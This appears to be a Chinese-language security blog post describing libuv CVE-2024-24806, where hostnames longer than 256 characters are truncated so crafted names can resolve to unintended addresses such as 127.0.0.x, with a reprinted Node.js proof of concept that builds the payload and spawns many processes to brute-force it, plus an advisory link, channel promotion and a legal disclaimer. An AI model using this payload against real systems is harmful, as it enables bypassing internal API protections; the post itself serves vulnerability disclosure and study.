H1:价值4860$的 CVE漏洞
H1:价值4860$的 CVE漏洞
道玄安全 道玄网安驿站 2024-05-04 08:01
“
CVE-2024-24806
”
看到了,关注一下不吃亏啊,点个赞转发一下啦,WP看不下去的,可以B站搜:标松君,UP主录的打靶视频,欢迎关注。顺便宣传一下星球:重生者安全, 里面每天会不定期更新OSCP备考,车联网,渗透红队以及漏洞挖掘工具等信息分享,欢迎加入;以及想挖SRC逻辑漏洞的朋友,可以私聊。
01
—
域名解析
日常逛H1,发现了一个域名解析不当的CVE漏洞,作者发现了uv_getaddrinfo 函数 src/unix/getaddrinfo.c (及其 Windows 对应 src/win/getaddrinfo.c 项) 在调用 getaddrinfo 之前将主机名截断为 256 个字符。此行为可被利用来创建类似 0x00007f000001 的地址,这些地址被 视为 getaddrinfo 有效,并可能允许攻击者构建解析为意外 IP 地址的有效负载,从而绕过开发人员检查;该漏洞的出现是由于 hostname_ascii 变量(长度为 256 字节)在 中 uv_getaddrinfo 以及随后在 中 uv__idna_toascii 处理的方式所致。当主机名超过 256 个字符时,它将被截断,而没有终止的 null 字节;根据构建和运行时环境,它可能导致不同的利用方案:
1.例如,在某些 nodejs 构建中,例如随 Kali Linux 分发的 nodejs 构建,内存中的下一个字节恰好是 null 字节,因此截断的主机名有效。
2.在其他构建中,主机名的最后一个字节是随机值 (0-256),但在连续调用中相同,后续字节为 null 字节。这种情况可以通过暴力破解来利用,尤其是在许多Node.js实例并行运行( pm2 kubernetes 、等)的生产环境中。
3.由于最后一个字节是随机的,因此在某些情况下它是 之一 0-9a-f ,这使得 16 种可能的情况(共 256 种)可用于调用 localhost (127.0.0.x) 并可能绕过内部 API 上的安全措施。调用其他 IP 范围也是如此,
POC:
// nodejs reproduction code:
const dns = require('dns');
async function run(ip, exactIP) {
let hexIP = ip.split('.').map(x => (+x).toString(16).padStart(2, '0')).join('');
if (!exactIP) {
hexIP = hexIP.substring(0, hexIP.length - 1);
}
const payload = `0x${'0'.repeat(256-hexIP.length-2)}${hexIP}.example.com`;
dns.lookup(payload, (err, addr) => {
if (err); // not successful
else if (addr === ip) console.log('*', addr);
else console.log(' ', addr); // resolved to a shifted ip-address
});
}
if (process.argv[2]) {
run ('4.2.2.4', true) // exact match, less probable (P=1/256), for kali-like builds works perfectly
// run('127.0.0.1', false); // any 127.0.0.x, higher probability (P=1/32)
} else {
const cp = require('child_process')
for (let i=0; i<1024; ++i) {
cp.spawn('node', [process.argv[1], 'x'], { stdio: 'inherit' });
}
}
详细报告链接:
https://github.com/libuv/libuv/security/advisories/GHSA-f74f-cvh7-c6q6
免责声明:
本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。
第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助
第十二条: 国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。
任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。
第十三条: 国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。